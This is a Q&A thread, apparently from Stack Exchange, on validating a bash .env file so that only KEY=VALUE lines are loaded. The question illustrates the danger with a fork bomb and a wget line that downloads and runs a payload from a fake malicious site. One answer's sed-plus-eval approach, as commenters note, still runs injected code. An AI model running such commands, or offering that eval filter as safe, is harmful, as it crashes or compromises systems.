4

I have the following script:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

As you can see script's user provides a .env file that must contain environmental variables. The $ENV_FILE contains the path of the .env file that contains theenvironmental variables.

For my script the .env file needs to contain key-pair value such as:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

But on the code above seem like a bad idea to just source a random text file that is provided for environmental variable.

For example if the .env file is:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

Or if it contains something like:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

As you can see, the source command just loads the .env file as a bash script. Therefore, it can contain malicious code as well beyond the expected environmental variable assignment.

So how I can ensure that file only contains KEY=VALUE pairs?

3
  • 3
    you'll have to be clear on what kinds of input formats need to be supported. You mentioned quotes in a comment on an answer, but there's no mention of them here, nor did you tell exactly what kind of quoting syntax you want to support. Is the idea to support everything the shell does, but somehow do it without running any actual shell code (e.g. with source)? Or do you just want some way of representing arbitrary one-line strings?
    – ilkkachu
    Commented Jan 3, 2023 at 15:12
  • I tried to see if .env files are defined somewhere, and found e.g. this: npmjs.com/package/dotenv It describes quotes and a few things that aren't comparible with the shell (e.g. support for \n in doublequoted strings) And then there's this, which basically describes (sourced) shell script: ibm.com/docs/en/aix/7.2?topic=files-env-file
    – ilkkachu
    Commented Jan 3, 2023 at 17:28
  • @ilkkachu question edited. Now much clearer Commented Jan 21, 2023 at 8:30

2 Answers 2

1

One way to sanitize your input would be:

#!/usr/bin/env bash

### Your previous code here ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Suspicious line $_"' "$env_file"
then
    msg="suspicious source file detected from $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

It then allow only variations on :

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

The regular expression matches as follows:

Node Explanation
^ the beginning of the string
\w+ word characters (a-z, A-Z, 0-9, _) (1 or more times (matching the most amount possible))
= =
[\047\042\w\s\.-]+ any character of: '\047', '\042', word characters (a-z, A-Z, 0-9, _), whitespace (\n, \r, \t, \f, and " "), '.', '-' (1 or more times (matching the most amount possible))
\s* whitespace (\n, \r, \t, \f, and " ") (0 or more times (matching the most amount possible))
$ before an optional \n, and the end of the string
| OR
^ the beginning of the string
\s* whitespace (\n, \r, \t, \f, and " ") (0 or more times (matching the most amount possible))
$ before an optional \n, and the end of the string
4
  • Sometimes I need to provife values with quotes as well. Regex needs some extra work. Commented Jan 3, 2023 at 13:53
  • Done, using ascii escape sequences for both ' and " Commented Jan 3, 2023 at 14:01
  • this looks like it'd disallow inputs like foo="asdf asf" or value='$5'
    – ilkkachu
    Commented Jan 3, 2023 at 15:12
  • 1
    OP is a developer, I gues he knows how to modify a regex, and he is not just a copy/paste guy ;) Commented Jan 3, 2023 at 15:30
-1

A better approach seems to me this one: https://askubuntu.com/a/886884

We uses a typical sed and eval in order to provide environmental variables:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

If eval not supported then:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane
4
  • 1
    'eval' is a common misspelling of 'evil'. If eval is the answer, surely you are asking the wrong question. See mywiki.wooledge.org/BashFAQ/048 Commented Jan 3, 2023 at 14:30
  • @GillesQuenot eval is often misused but it does have a purpose. For instance, modules uses it to make changes to the user's environment.
    – doneal24
    Commented Jan 3, 2023 at 15:05
  • I'm pretty sure eval is standard, so there shouldn't be any risk of it not being supported. In fact, I think source is a nonstandard alias for .. Both have the issue that you better be sure not to have any unsafe inputs as you're running the input as shell code. E.g. here, any command substitutions in the input would run, which may or may not be what you want. (If you want to support the shell's quoting syntax in full, but not command substitutions, the sanitization is going to be rather awkward to do.)
    – ilkkachu
    Commented Jan 3, 2023 at 15:07
  • Isn't . <(sed -r '/[^=]+=[^=]+/!d' $ENV_FILE | sed -r 's/\s+=\s/=/g') simpler?
    – FedKad
    Commented Jan 31, 2023 at 9:32

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .